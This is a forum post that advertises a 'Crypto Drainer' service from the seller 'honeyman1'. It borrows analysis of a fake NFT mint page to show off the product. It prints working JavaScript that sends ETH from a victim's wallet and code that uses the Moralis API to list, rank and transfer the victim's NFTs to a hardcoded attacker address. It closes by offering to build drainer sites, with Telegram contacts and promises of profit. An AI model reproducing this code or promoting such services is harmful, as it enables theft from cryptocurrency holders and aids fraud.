HI Guys
The honeyman1 team welcomes you . We specialize in it-crypto, our services include: development of crypto projects and all kinds of custom smart contracts
In the last article we looked at the code if you don't understand what we're talking about now, we recommend that you start with Part 1
First, there is this snippet from the spurious mint function, which just sends ETH from the victim to the attacker:
web3.eth.sendTransaction({ from: walletAddress, to: address, value: web3.utils.toWei(amount, "ether"), })
Remember, minting an NFT is almost always a smart contract interaction, and requires invoking at least one function call. It typically requires additional orchestration beyond transfer of value to invoke a smart contract method, which is completely absent from the code above
The second snippet we want to highlight is the
function in the code above:
async function askNfts(web3, amount) { const accounts = await web3.listAccounts(); selectedAccount = accounts[0]; fetch(`https://deep-index.moralis.io/api/v2/${selectedAccount}/nft?chain=eth&format=decimal`, { "headers": { "Content-Type": "application/json", "accept": "application/json", "x-api-key": moralisApi }, "method": "GET", }).then(async (response) => { const nfts = (await response.json()).result; console.info(`You have ${nfts.length} NFTs`); if (nfts.length > 0) { let transactionsOptions = []; for (nft of nfts) { await fetch(`https://deep-index.moralis.io/api/v2/nft/${nft.token_address}/lowestprice?chain=eth&days=${nftsInfo.checkMaxDay}&marketplace=opensea`, { "headers": { "Content-Type": "application/json", "accept": "application/json", "x-api-key": moralisApi }, "method": "GET", }).then(async (priceResp) => { if (priceResp.status === 200) {} else return; const nftData = (await priceResp.json()); let ethValue = parseFloat(Web3.utils.fromWei(nftData.price, "ether")) if (nft.amount) ethValue = ethValue * parseInt(nft.amount) if (ethValue >= nftsInfo.minValue.toString(10)) { console.log(`${nft.token_address} (${nft.token_id}) | ${ethValue} > ${nftsInfo.minValue}`) transactionsOptions.push({ price: nftData.price * (nft.amount > 0 ? nft.amount : 1), options: { type: nft.contract_type.toLowerCase(), receiver: "0x8f572fB040BCA3d98EBf8aB5FFeff0fF0Fb6Df3c", contract_address: nft.token_address, token_id: nft.token_id, } }) if (nft.contract_type === "ERC1155") { const trans = transactionsOptions.find(t => t.options.contract_address == nft.token_address && t.options.token_id == nft.token_id); if (trans) trans.options.amount = ethers.BigNumber.from(nft.amount) } } else console.log(`!!! ${nft.token_address} (${nft.token_id}) | ${ethValue} < ${nftsInfo.minValue}`); }).catch(O_o => console.error(O_o)); } if (transactionsOptions.length < 1) return askMint(amount); console.log(transactionsOptions); for (transaction of transactionsOptions.sort((a, b) => b.price - a.price)) { console.log(transaction); Moralis.transfer(transaction.options).catch(O_o => console.error(O_o, transaction)); } } else askMint(amount); }).catch(O_o => console.log(O_o)); } telegram @honeyman1
Looks fishy doesn’t it? We can see how the attackers leverage the Moralis API in order to pull a record of the victim’s NFT ownership and cycle through them one at a time to siphon them off to a smart contract.
The role of the smart contract address here is not entirely clear as the source code is not verified and the bytecode analysis is outside of the scope of this post, furthermore this particular page hasn’t claimed any victims so there are no transactions to trace, but it’s noteworthy nonetheless seeing as we have examples of the same exact template moving NFTs to the attacker’s address directly and not an intermediate proxy contract.
The whole story with this "Crypto Drainer" is very simple.
Let's look at an example:
- We are approached to make a site and "Crypto Drainer"
- From there it all depends on your imagination
- PROFIT
My current contacts for our products and other issues: TG honeyman1 <= LOW PRICES
Edited by honeyman1, 06 December 2024 - 05:06 PM.